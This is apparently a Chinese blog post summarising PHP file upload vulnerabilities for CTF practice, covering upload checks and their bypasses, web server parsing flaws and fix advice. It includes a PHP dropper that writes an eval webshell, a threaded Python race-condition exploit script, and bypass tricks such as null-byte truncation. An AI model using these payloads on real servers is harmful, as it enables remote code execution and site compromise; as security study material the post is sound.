PHP文件上传漏洞总结

前言

比赛时候基本每一场都会遇到文件上传的题目,但是解题思路一直受限于文件上传漏洞的不清晰。遂整理,虽然里面很多绕过CTF不怎么会考了(可能太简单了,或许我太菜)。

文件上传包结构

  1. 请求类型:POST
  2. 前端指定类型enctype
<form action='' enctype='multipart/form-data' method='POST'>
<input type='file' name='file'>
</form>

multipart 格式的数据会将一个表单拆分为多个部分(part),每个部分对应一个输入域。在一般的表单输入域中,
它所对应的部分中会放置文本型数据,但是如果上传文件的话,它所对应的部分可以是二进制

curl、python都有API可以上传文件不用特意构造文件上传包

------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="Filename"

shell.php
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="desc11"

desc112
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="task"

doupload
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="file_id"

0
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="upload_file"; filename="shell.php::$DATA"
Content-Type: application/octet-stream

<?php

phpinfo();

------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="Upload"

Submit Query
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2--

文件上传存在的检测

  1. 客户端javascript检测(检测文件扩展名)
  2. 服务端MIME类型检测(检测Content-Type内容)
  3. 服务器端目录路径检测(检测和Path参数相关的内容)
  4. 服务端文件扩展名检测(检测跟文件extension相关的内容)
  5. 服务端文件内容检测(检测内容是否合法或含有恶意代码)

客户端javascript检测

代码

function checkPic(){
	var rgx= "(.jpg|.JPG|.gif|.GIF)$"; 
	var re=new RegExp(rgx);
	var file_name=$("#picFile").val();

绕过方法

  • 审查元素,修改Javascript检测函数
  • burpsuite抓包改后缀

服务端MIME类型检测

代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

绕过方法

burpsuite代理进行抓包,修改Content-Typeimage/gif….

服务端目录路径检测

代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

绕过方法

存在path参数可控,配合解析漏洞上传webshell
php 00截断: GET:/upload/1.php%001.jpg
POST:在文件名后burpsuite添加二进制00

00截断技巧

适用场合

include(require)
file_get_contents
file_exists
所有url中参数可以用%00控制

服务端文件扩展名检测

绕过方法

利用思路:os系统特性、后缀名截取不规范、php代码缺陷、过滤不完全、配合伪协议解析图形文件

后端采用in_arrary函数判断文件后缀(黑名单)

  • 更换.htaccess偏门文件名和后缀名
  • 未去除末尾空格,添加空格绕过
  • ::$DATA绕过(windows)
  • 大小写混写
  • 后缀添加点号(windows)
  • 不可绕过考虑phar://协议利用,若过滤配合(compress://)
  • /.符号绕过

白名单

webserver解析漏洞、00解析漏洞

服务器端文件内容检测

文件幻数检测

JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47

绕过方法:伪造幻数,添加webshell

文件相关信息检测

伪造好幻数后,添加webshell,添加额外内容,增大文件大小

文件加载检测

调用API或者函数进行文件加载检测,常见是图像渲染检测,进行二次渲染

绕过方法

参考链接:https://xz.aliyun.com/t/2657#toc-13
https://od0d.cn/2019/04/17/DDCTF-web题解/#image-upload

竞争上传

代码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

解析漏洞总结

Apache解析漏洞

Apache 1.x & 2.x:当Apache遇到不认识的后缀名时,如:1.php.xx,会从后往前依次尝试解析,直到发现认识的php后缀名,遂当做PHP脚本解析。(apache认识的后缀名储存在/etc/mime.types)

新版本apache解析漏洞

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

文件名后缀burpsuite hex添加\x0A,访问/1.php%0A成功解析。因为$匹配'\n''\r'

IIS解析漏洞

当文件名为*.asp;1.jpg类型的格式时,会被IIS当做ASP脚本执行

Nginx解析漏洞

a. test.jpg=>test.jpg/x.php进行解析攻击。
b. 低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

文件上传其他知识点

  1. php自包含:https://www.anquanke.com/post/id/153376
    阻止move_uploaded_file(file,newloc)删除临时文件
    利用条件:文件夹可读、可控文件包含点、目录遍历漏洞查看临时文件名
  2. 反序列化上传
    https://od0d.cn/2019/03/24/session%E5%8F%8D-%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%84%E7%90%86%E5%99%A8%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%BD%93/
  3. unlink竞争
  4. end函数缺陷

修复建议

  • 白名单机制
  • 文件名随机重命名,修改为特定后缀名
  • 检查文件内容
  • 隐藏文件路径
  • 保存文件在web目录之外,不能直接访问,防止解析
  • 将文件保存到第三方

参考链接

对文件上传的一些思考和总结

文件上传总结

解析漏洞与文件上传漏洞


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!